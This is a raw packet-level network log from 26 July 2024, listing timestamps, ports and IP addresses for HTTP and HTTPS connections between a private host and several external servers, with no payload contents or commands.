Jul 26, 2024 08:57:57.026453972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026487112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026519060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026550055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026562929 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.026582956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026593924 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.026614904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026648045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026683092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026714087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026834011 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.027651072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.027683973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.027713060 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.027717113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.027733088 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.027751923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.027786016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.027911901 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.028309107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028342962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028363943 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.028376102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028393984 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.028410912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028444052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028476000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028517008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.028527975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.028774977 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.029565096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029597998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029630899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029699087 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.029747963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029781103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029799938 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.029814005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029827118 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.029848099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029881001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.029907942 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.029934883 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.101823092 CEST	80	49768	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:57.102005959 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.113534927 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.113574982 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.113652945 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.113663912 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.113811016 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.113858938 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.113974094 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.113982916 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.114495993 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.114648104 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.114648104 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.114799976 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.114799976 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.114825010 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.114950895 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.114972115 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.115000010 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.115014076 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.115128040 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.115147114 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.211872101 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.212189913 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.219234943 CEST	80	49768	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:57.219286919 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.220145941 CEST	80	49773	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:57.220271111 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.220408916 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.226042032 CEST	80	49773	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:57.253223896 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.258152008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.391191006 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.391218901 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:57.391309977 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.392139912 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:57.392172098 CEST	443	49775	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:57.392318010 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:57.392362118 CEST	443	49776	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:57.392405033 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.392467022 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.392585993 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:57.392589092 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:57.392625093 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.392975092 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.392987013 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:57.393887997 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.393902063 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.394180059 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:57.394197941 CEST	443	49775	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:57.395612001 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:57.395627022 CEST	443	49776	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:57.447532892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.447613955 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.448312998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.448328972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.448343039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.448358059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.448371887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.448385954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.448456049 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.448554039 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.449448109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449462891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449476957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449491024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449505091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449518919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449532986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.449532986 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.449569941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.450208902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450225115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450238943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450253010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450273991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450288057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450301886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.450359106 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.451149940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.451165915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.451179981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.451193094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.451206923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.451209068 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.451221943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.451316118 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.452116966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452131987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452146053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452159882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452172995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452188015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452200890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.452255011 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.453051090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453066111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453079939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453110933 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.453115940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453130960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453150034 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.453378916 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.453844070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453860044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453875065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453890085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453907967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453910112 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.453923941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.453938007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454092026 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.454704046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454719067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454731941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454746008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454760075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454762936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.454775095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454788923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454802990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454806089 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.454818010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.454998970 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.455584049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455598116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455612898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455626965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455631971 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.455648899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455665112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455679893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455698967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.455782890 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.520772934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.520823002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.520838976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.520874023 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.520962954 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.521039009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521054983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521070004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521331072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521341085 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.521348953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521363020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521728039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521743059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521756887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521756887 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.521771908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521787882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521800995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521815062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.521831036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522053957 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.522566080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522579908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522597075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522613049 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.522641897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522656918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522671938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.522792101 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.523495913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523510933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523524046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523540020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523554087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523569107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523582935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523597956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523612022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523627996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.523914099 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.524116993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524132013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524183035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524199009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524213076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524228096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524240971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524255991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524270058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.524403095 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.525077105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525094032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525108099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525122881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525130033 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.525140047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525156021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525170088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525183916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.525218010 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.525588036 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.528902054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.528918028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.528939009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.528976917 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.529177904 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.529376030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529422045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529426098 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.529438019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529516935 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.529613018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529628038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529643059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529658079 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.529659033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.529736996 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.530018091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530031919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530046940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530061007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530076981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530086040 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.530092001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530260086 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.530601978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530617952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530632019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530646086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530658007 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.530661106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530677080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530690908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530704975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530719042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530731916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.530827045 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.531541109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531555891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531570911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531584978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531605005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531620026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531626940 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.531634092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531650066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.531708956 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.532429934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532445908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532459974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532474995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532502890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532510996 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.532510996 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.532519102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532533884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532547951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532562017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532576084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.532687902 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.533303022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533318996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533334017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533348083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533354998 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.533365965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533380985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533385038 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.533396006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533411980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533426046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533441067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.533586025 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.534045935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534060955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534075975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534090996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534104109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534116030 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.534118891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534133911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534147978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.534204960 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.583646059 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.583950043 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.583966017 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.584294081 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.584814072 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.584877968 CEST	443	49772	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.603043079 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.603084087 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.603312969 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.603329897 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.603599072 CEST	49770	443	192.168.2.7	172.64.41.3
